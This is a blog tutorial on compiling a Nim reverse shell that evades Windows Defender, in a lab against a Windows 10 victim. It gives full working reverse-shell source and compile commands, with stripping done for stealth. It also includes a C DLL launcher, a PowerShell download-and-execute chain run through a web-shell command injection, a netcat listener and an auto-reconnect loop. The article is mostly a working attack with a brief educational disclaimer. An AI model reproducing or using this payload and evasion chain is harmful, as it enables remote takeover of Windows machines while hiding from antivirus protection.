Use nim compiled language to evade Windows Defender reverse shell detection

Nol White Hat
InfoSec Write-ups
Published in
8 min readDec 16, 2022

--

Summary

In this article, we’ll show you how an other way to evade the Windows Defender reverse shell detection. We will use Josiah Pierce’s method described in his article https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/.

Disclaimer

This article is for informational and educational purpose only, and for those who’re willing and curious to know and learn about Security and Penetration Testing. The content may not be used for illegal purposes. If you’re ready to learn something new for the good, then read on.

Details

This is another blog about a ‘stealth’ interactive shell. In other words, a shell that is not detected by the Windows Defender software. I’m going to show you how to use nim, a compiled language, to create undetected reverse shell binaries. First, I have to pay my credits to Josiah Pierce. In this PoC, we will use Josiah’s source code to build our binaries.

Nim has been around since 2009. It is still a relatively unknown language for building Linux and Windows binaries. The advantage of the unfamiliarity of this language is that these binaries go undetected by most antivirus companies. As of this writing (December 17, 2022), the malicious binaries in this article have not yet been detected by the Windows Defender software.

In addition to Josiah Pierce’s source code, this PoC contains:

— x86 and x64 for Windows executable (exe and dll) compilation
- some Windows batch file “foo” to transfer the binaries to our target
- some tricks to have a more stable and interactive shell

The POC consists of 2 machines: a victim (fully updated Windows 10) and an attacker (Kali Linux 2022.4 release). We only used the Microsoft Windows Defender software and did not test the payload against other vendors.

Victim:

Windows 10 Professional [Version 10.0.19044.2364]
IP-Address: 192.168.62.165
Security: Default settings for antivirus detection and firewall rules.
Software: Xampp for Windows and OWASP Mutillidae vulnerable web server.
User context: POC user in member of local Users group.

Windows 10 Security Dashboard:

Windows security configuration settings:

Attacker:

Kali Linux
IP-Address: 192.168.62.161

Initial foothold:

Our initial foothold consists of a PHP web shell with a cmd injection vulnerability.

127.0.0.1 && <command>

For example, we can use the web shell to execute the ‘whoami’ command:

Prepare the PoC environment

Before we can compile our binaries, we have to update our Kali attacking machine.

  1. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Install mingw-64 and nim.

sudo apt install mingw-w64 
sudo apt install nim

Install additional support tools

sudo apt install rlwrap
sudo apt install gedit

Create the binaries

2. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Download the nim source code from https://trustfoundry.net/2021/03/01/writing-basic-offensive-tooling-in-nim/ Save the code in /tmp/reverse_shell.nim

gedit /tmp/reverse_shell.nim

Copy and paste the code below in /tmp/reverse_shell.nim

import net
import osproc # this comes with execProcess, which returns the output of the command as a string
import os
import strutils

# these are the default connection parameters for the rev shell, but can be overwritten with command-line args
var ip = "127.0.0.1"
var port = 4444

var args = commandLineParams() # returns a sequence (similar to a Python list) of the CLI arguments

# if arguments have been provided, assume they are an IP and port and overwrite the default IP/port values
if args.len() == 2:
ip = args[0]
port = parseInt(args[1])

# begin by creating a new socket
var socket = newSocket()
echo "Attempting to connect to ", ip, " on port ", port, "..."

while true:
# attempt to connect to the attacker's host
try:
socket.connect(ip, Port(port))

# if the connection succeeds, begin the logic for receiving and executing commands from the attacker
while true:
try:

socket.send("> ")
var command = socket.recvLine() # read in a line from the attacker, which should be a shell command to execute
var result = execProcess(command) # execProcess() returns the output of a shell command as a string
socket.send(result) # send the results of the command to the attacker

# if the attacker forgets they're in a rev shell and tries to ctrl+c, which they inevitably will, close the socket and quit the program
except:
echo "Connection lost, quitting..."
socket.close()
system.quit(0)

# if the connection fails, wait 10 seconds and try again
except:
echo "Failed to connect, retrying in 10 seconds..."
sleep(10000) # note that sleep() takes its argument in milliseconds, at least by default
continue

Change the values for 'var ip =' and 'var port =' to your context. We used var 'ip=192.168.62.161' and 'var port= 443'.

var ip = "192.168.62.161"
var port = 443

For the sake of completeness, we show you how to compile both x86 and x64 binaries. Actually x86 is enough. This is because 32 bits executable will run on both x86 and x64 architectures.

3. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Compile the nim source code to Windows x86 en x64 reverse shell exe binaries.

# 32bits compilation
nim c -d:mingw --cpu:i386 -t:-m32 -l:-m32 /tmp/reverse_shell.nim
mv /tmp/reverse_shell.exe /tmp/rev-x86.exe

# 64bits compilation
nim c -d:mingw --cpu:amd64 /tmp/reverse_shell.nim
mv /tmp/reverse_shell.exe /tmp/rev-x64.exe

To be more stealthy, will remove the debugging symbols. This will also reduce the file size to about 220 kbytes.

strip /tmp/rev-x86.exe
strip /tmp/rev-x64.exe
Use the strip command to remove debugging symbols

Sometimes you need a .dll file (f.e. the famous PrintNightmare exploit). Unfortunately, I was not successful in creating a Windows dll file using the nim compiler. If you can do this, please let me know and I will update this article. Good resource: https://github.com/byt3bl33d3r/OffensiveNim#creating-windows-dlls-with-an-exported-dllmain)

Alternatively, we will use C to compile the Windows .dll. Actually, the dll file will just execute the command C:\Windows\Tasks\rev-x86.exe <LHOST> <LPORT>. This means that you need to use both the .dll and the .exe file.

4. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Create C source code for compiling a Windows .dll binaries.

LHOST=192.168.62.161
LPORT=443
cd /tmp
echo "#include <windows.h>" > testdll.c
echo "BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {" >> testdll.c
echo "if (dwReason == DLL_PROCESS_ATTACH) {" >> testdll.c
echo "system(\"START /B C:\\\\\\Windows\\\\\\Tasks\\\\\\\\rev-x86.exe ${LHOST} ${LPORT}\"); ">> testdll.c
echo "ExitProcess(0);" >> testdll.c
echo "} ">> testdll.c
echo "return TRUE;" >> testdll.c
echo "}" >> testdll.c

5. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Compile the C source code to Windows x86 en x64 reverse shell .dll binaries.

# x86
i686-w64-mingw32-gcc testdll.c -shared -o /tmp/rev-x86.dll

# x64
x86_64-w64-mingw32-gcc testdll.c -shared -o /tmp/rev-x64.dll

Transfer the binaries to the target

The next step is to transfer the Windows binaries to the target Windows 10 computer. Since the starting point is a remote code execution through a web shell, we don’t have interactive access to our target yet. In order to transfer the file, we need to use the ‘command execution’ vulnerability.

We will transfer the files in two steps:

  • Add copy commands to a batch file (backup.bat)
    - Download and execute the batch file

We will copy are file to the always available and writable target directory C:\Windows\Tasks.

6. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Create a Windows batch file including the PowerShell copy file commands. We will continue with only the 32bits versions.

LHOST=192.168.62.161
LPORT_web=80
file1=rev-x86.dll
file2=rev-x86.exe
echo START /B powershell -c "(New-Object System.Net.Webclient).DownloadFile('http://${LHOST}:${LPORT_web}/${file1}','C:\Windows\Tasks\\\\${file1}')" > /tmp/backup.bat
echo START /B powershell -c "(New-Object System.Net.Webclient).DownloadFile('http://${LHOST}:${LPORT_web}/${file2}','C:\Windows\Tasks\\\\${file2}')" >> /tmp/backup.bat

7. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Launch a Python web server to stage our reverse shell files and backup.bat.

python3 -m http.server 80 --directory /tmp

8. Performed on 192.168.62.165 (victim machine, Windows 10 web shell)

Use the ‘command execution’ vulnerability to download and execute backup.bat and then download our Windows x86 reverse shell binaries (rev-x86.dll en rev-x86.exe)

START /B powershell.exe -c (New-Object System.Net.Webclient).DownloadFile('http://192.168.62.161:80/backup.bat','C:\Windows\Tasks\backup.bat');IEX 'c:\Windows\Tasks\backup.bat'

Check the python web server:

Execute the binaries and establish a reverse shell

Now that we have copied the necessary files to the target machine, we can try to execute them and establish a reverse shell with our attacking machine. We will use 2 mechanisms to make this shell more stable and interactive:

- rlwrap (sudo apt install rlwrap)
- while loop

9. Performed on 192.168.62.161 (attacker machine, Kali Linux).

Start a netcat listener (port 443). Use rlwrap to get a 'doskey' feeling.

while; do rlwrap nc -nlvp 443 ; done

10. Performed on 192.168.62.165 (victim machine, Windows 10 web shell)

Use the ‘command execution’ vulnerability to execute the binaries and establish the reverse shell. We can use an eternal for loop to make this shell more stable:

c:\Windows\Tasks\rev-x86.exe 192.168.62.161 443
We have a reverse shell connection!

Alternative:

Add the target command in a loop for automatic reconnection.

FOR /L %L IN (0,0,1) DO @(timeout /t 2 /nobreak >nul && c:\Windows\Tasks\rev-x86.exe 192.168.62.161 443)

10b. Performed on 192.168.62.165 (victim machine, Windows 10 web shell).

For some exploits you need a Windows dll. You can execute the dll on the Windows command line with rundll32 <command>,<function>.

c:\Windows\Tasks\rundll32 rev-x86.dll,test

Remote command execution

In order to use this shell you have to execute command with prefix ‘cmd /c’ or ‘powershell -c’. For example cmd /c whoami or powershell -c “whoami”

11. Performed on 192.168.62.165 (victim machine, interactive reverse shell).

cmd /c "dir c:\"
powershell -c "whoami"
Use the command prefix "cmd /c" or "powershell -c".

Virustotal analisys

When we load our (slightly modified) rev-x86.exe file into virustotal, we got 5 out of 71 detections (7%).

Mitigation recommendations

Sooner or later, injected executables will be detected by the antivirus software vendors. At the time of writing (16 December 2022) the compile binaries were not detected by the Windows antivirus software. It probably will in the near future. You can mitigate this by keeping your antivirus software up to date.

Credits

Josiah Pierce (https://trustfoundry.net/author/josiah/)

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!

--

--